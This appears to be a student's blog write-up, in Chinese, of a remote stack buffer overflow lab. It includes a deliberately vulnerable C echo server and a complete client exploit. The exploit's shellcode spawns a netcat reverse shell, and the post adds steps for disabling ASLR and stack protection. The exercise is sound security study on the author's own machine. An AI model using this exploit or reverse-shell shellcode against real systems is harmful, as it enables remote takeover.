网络安全远程缓冲区溢出实验

目录

编写CS架构(Server将Client的请求反转并发回)

//Server.c
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>


#define PORT 5555
#define MaxDataSize 200

char sendBuf[180] = {'0'};

void Test(char *send,char *recvBuf){
	int i,len;
	len = strlen(recvBuf);
	for(int i=0;i<len;i++)
        	send[i] = recvBuf[len-i-1];
	strcpy(sendBuf,send);
}

void Turn(char *recvBuf){
    char send[180] = {'0'};
    //printf("send addr is %p\n",send);
    Test(send,recvBuf);
}

int main(int argc, char *argv[])
{
    int fd, new_fd, struct_len, numbytes,i;
    struct sockaddr_in server_addr;
    struct sockaddr_in client_addr;
    char recvBuf[MaxDataSize];

    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(PORT);
    server_addr.sin_addr.s_addr = INADDR_ANY;
    bzero(&(server_addr.sin_zero), 8);
	
    struct_len = sizeof(struct sockaddr_in);

    fd = socket(AF_INET, SOCK_STREAM, 0);
	
    bind(fd, (struct sockaddr *)&server_addr, struct_len);
	
    listen(fd, 10);
    printf("Start to listen......\n");
	
	while(1){
		new_fd = accept(fd, (struct sockaddr *)&client_addr, &struct_len);
		printf("One client connect...\n");
		
		recv(new_fd, recvBuf, MaxDataSize, 0);
		
		printf("%s\n",recvBuf);
		
		Turn(recvBuf);
		
		printf("%s\n",sendBuf);
		
		send(new_fd,sendBuf,strlen(sendBuf)+1,0);
		
		close(new_fd);
	}
	close(fd);
    return 0;
}
//Client.c
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define PORT 5555

#define MaxDataSize 200

static const char shellcodeOne[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

static const char shellcode[] = 
  "\xeb\x3c\x5e\x31\xc0\x88\x46\x0b\x88\x46\x0e\x88\x46\x16\x88\x46"
  "\x26\x88\x46\x2b\x89\x76\x2c\x8d\x5e\x0c\x89\x5e\x30\x8d\x5e\x0f"
  "\x89\x5e\x34\x8d\x5e\x17\x89\x5e\x38\x8d\x5e\x27\x89\x5e\x3c\x89"
  "\x46\x40\xb0\x0b\x89\xf3\x8d\x4e\x2c\x8d\x56\x40\xcd\x80\xe8\xbf"
  "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6e\x65\x74\x63\x61\x74\x23\x2d"
  "\x65\x23\x2f\x62\x69\x6e\x2f\x73\x68\x23\x31\x32\x37\x2e\x31\x32"
  "\x37\x2e\x31\x32\x37\x2e\x31\x32\x37\x23\x39\x39\x39\x39\x23\x41"
  "\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44\x45\x45\x45\x45\x46\x46\x46\x46";


int main(int argc,char *argv[])
{
    int sockfd,numbytes,sign,length;
    char recvBuf[MaxDataSize];
    char sendBuf[MaxDataSize];
	
    struct sockaddr_in their_addr;
    char payload[192];
    length = strlen(shellcode);
    //printf("%d",length);

    for(int i=191; i>191-length;i--){
		payload[i] = shellcode[191-i];
    }

    for(int i=191-length;i>4;i--){
		payload[i] = '\x90';
    }
    payload[0] = '\x90';
    payload[1] = '\xbf';
    payload[2] = '\xff';
    payload[3] = '\xed';
    payload[4] = '\xe1';
    strcpy(sendBuf,payload);
	
    sockfd = socket(AF_INET,SOCK_STREAM,0);
	
    their_addr.sin_family = AF_INET;
    their_addr.sin_port = htons(PORT);
    their_addr.sin_addr.s_addr=inet_addr("127.0.0.1");
    bzero(&(their_addr.sin_zero), 8);
    
    sign = connect(sockfd,(struct sockaddr*)&their_addr,sizeof(struct sockaddr));
    if(sign == -1){
		printf("Connet failed...\n");
		return 0;
    }
    else
		printf("Connet to Server...\n");
    send(sockfd,sendBuf,strlen(sendBuf)+1, 0);
	
    recv(sockfd,recvBuf,MaxDataSize,0);//接收服务器端信息

    printf("%s\n",recvBuf);	

    close(sockfd);  
    return 0;
}

在这里,Server将Client发送来的信息进行反转。但是由于设置的 recvBuf 和 send 大小不一致并且没有进行边界检查,所以造成缓冲区溢出。(在这里由于缓冲区溢出点由自己设定,所以暂时设定成这样)

关闭地址随机化ASLR

 sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

编译 Server 时关闭堆栈不可执行和数据溢出保护

gcc -g -fno-stack-protector -z execstack -o server.c server

编译 Client

gcc client.c -o client

gdb 动态调试 Server 获取溢出点的信息

由于溢出的 send 数组是在 Turn 中定义,所以我们的目的是溢出 send 以覆盖 Turn 函数的返回地址。
1
首先我们得先查看 Turn 函数的堆栈信息,所以要查看 Turn 函数执行时的汇编代码,故查看 main 函数的汇编代码,并在 Turn 函数打上断点
2
3
然后使用 run 命令运行 Server ,直到断点处, 此时代码运行到等待 Client 连接
4

然后我们运行 Client 连接服务器
5
可以看到 Server 运行到 Turn函数入口了
6
使用 si 指令单步调试,进入 Turn 函数
7
可以看到,进入 Turn 函数以后,首先向堆栈压入了 ebp edi edx 三个寄存器的值,可见我们需要溢出 3 * 4 + 4 个字节,分别覆盖以上三个值和返回地址
8
这里我们可以查看堆栈的信息,此时正在创建 send 数组,标红的就是返回地址了,该返回地址在内存 0xbfffedbc 位置

然后我们使用 GDB 查看 Turn 函数的汇编代码,给 Test函数打上断点,然后寻找 Test 函数运行时堆栈变化的情况
9
单步进入 Test 查看堆栈变化信息
10
同样,先压入 ebp 然后再压入一些参数
11
然后我们要找到 send 数组的起始地址,可以直接使用 p 命令打印。在这里我从代码结合寄存器的值去找
12
从这里我们可以看出,在执行数组 send 复制的时候,将值写入了内存地址 edx 的位置,所以我们可以去查看该内存位置的信息
13
这是在给 send 赋值前,从 0xbfffedbc 开始,而返回地址在 0xbfffee7c
然后使用 finish 指令运行完 Test 并返回
14
此时再次查看 0xbfffedbc 的信息
15
可以看到 0xbfffee7c 的返回地址被我们成功覆盖,而这个覆盖的地址是我们shellcode 的起始地址,我们可以使用 find 指令来找到。我们的 shellcode 的开头为 0x315e3ceb (注意大小端存储的区别)
16
所以我们的目的地址找到为 0xbfffedc1,由于 GDB 的内存地址和实际运行不同,所以后续我们得修改一下,使得能直接运行,在这里直接运行时的实际地址为 0xbfffede1

PayLoad的构造

由于 Server 的溢出点是将 recvBuf 从后往前复制到 send,所以在构造时我们要将 payload 逆序,使得其在 Server 复制给 send 以后可以执行。
Shellcode 长135字节,服务端的 send 大小为180,要溢出 4 * 2 + 4 字节,所以payload暂定为196字节,在后续调试发现多算了4字节,这里没搞懂为啥
首先将 ShellCode 复制到 sendBuf当中
17
然后填充 /x90
18
最后关键填上我们 ShellCode 的起始地址
19
因为在调试过程中,我反复调试发现 send 的内存当中似乎并不是先复制 payload 而是先填充了几个字节,这几个字节大小和 Server 的 MaxDataSize 有关,当为98时不填充,但超过100会填充一到两个字节,所以如果直接按照 payload 想法去填充,则会出现要么多一个字节要么少一个字节。在这里我在多了字节的那种情况下,提前了目的地址一个字节,就正好溢出了。

ShellCode的构造

在这里因为时远程连接,所以使用普通的ShellCode是不行的,这样会让 Server 机器上执行一个 shell,但因为我们无法利用,所以在这里我参考了以下链接的构造方法
链接: 使用netcat进行反弹链接的shellcode.
由于 Ubuntu 自带的 netcat 没有 -e 功能,所以我们要重新下载,步骤如下链接
链接: ubuntu16.04 使用传统的netcat.

GDB调试内存地址与实际运行地址不一致问题

在这里我参考了以下链接

链接: 针对 Linux 环境下 gdb 动态调试获取的局部变量地址与直接运行程序时不一致问题的解决方案.
然后就是确认这个偏移量是多少了,在这里直接运行 Server ,打印 send 的地址
20
我这儿打印出的地址和 GDB 中调试地址相差 0x20,所以上面我填写的目的地址比在 GDB 中的地址大 0x20

实验成果展示

首先开一个窗口监听目标机的 9999 端口(这个是 shellcode 中定好的),然后开一个窗口运行 Server,再开一个窗口去连接 Server,得到反弹Shell,我们就可以为所欲为了。
21
然后创建一个 name.txt 文件

touch name.txt

写入自己的信息

echo 'My Info' >> ./name.txt

大功告成,撒花!

猜你喜欢

转载自blog.csdn.net/SmallBillows/article/details/106751369
今日推荐